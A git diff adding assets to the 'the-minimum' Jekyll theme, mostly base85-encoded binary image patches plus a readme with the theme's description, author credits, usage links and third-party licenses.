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 P5Kt}n{{ppI6w3bx$415z literal 0 HcmV?d00001 diff --git a/assets/themes/the-minimum/readme.markdown b/assets/themes/the-minimum/readme.markdown new file mode 100644 index 0000000..6ee9b7b --- /dev/null +++ b/assets/themes/the-minimum/readme.markdown @@ -0,0 +1,34 @@ +## Theme info + +Theme Name: the\_minimum +Description: A minimumlist theme for [jekyll](https://github.com/mojombo/jekyll).Theming is done on [Jekyll-Bootstrap](http://jekyllbootstrap.com/). +Author: Yuya Saito @ [\_layout](http://layouts-the.me/) +Version: 1.0 + +## About the \_minimum + +- Love minimalism? So do I. I've put some effort on typography(not the type face) so your reader won't need Readability to read your content. +- Design is simple so is the code behind it. You can easily customize it. +- Built with mobile first. +- Written with [LESS](http://lesscss.org/) so if you need to edit it, you should get [Codekit](http://incident57.com/codekit/). I did use this app to develop this theme. + +## About me + +I'm Yuya Saito who is a web designer/front-end developer from Tokyo, Japan. + +This is a Jekyll Bootstrap port of my theme [studiomohawk/jekyll-theme-the_minimum](https://github.com/studiomohawk/jekyll-theme-the_minimum). +If you watch or fork from it, you should do those here instead. + +## How to use it? + +There are 2 places you should go look. + +1. [Jekyll](https://github.com/mojombo/jekyll) / Jekyll repo page on Github +2. [Jekyll-Bootstrap](http://jekyllbootstrap.com/) / (Almost) complete how-to and bootstrap for Jekyll created by [Jade Dominguez](http://plusjade.com/) + +## Code I didn't write + +- [Jekyll-Bootstrap](http://jekyllbootstrap.com/) / [CC BY-NC-SA 3.0](http://creativecommons.org/licenses/by-nc-sa/3.0/) +- [Modernizr](http://www.modernizr.com/) / MIT/BSD license +- [Frameless](http://framelessgrid.com/) / [CC0](http://creativecommons.org/publicdomain/zero/1.0/) +- [HTML5 Boilerplate](http://html5boilerplate.com/): [The Unlicense](http://unlicense.org) (aka: Public Domain) \ No newline at end of file diff --git a/assets/themes/the-minimum/skin/100-90-5-monochrome.png b/assets/themes/the-minimum/skin/100-90-5-monochrome.png new file mode 100644 index 0000000000000000000000000000000000000000..ebcce339b9b0b394a41156d4be3095358425a786 GIT binary patch literal 22346 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 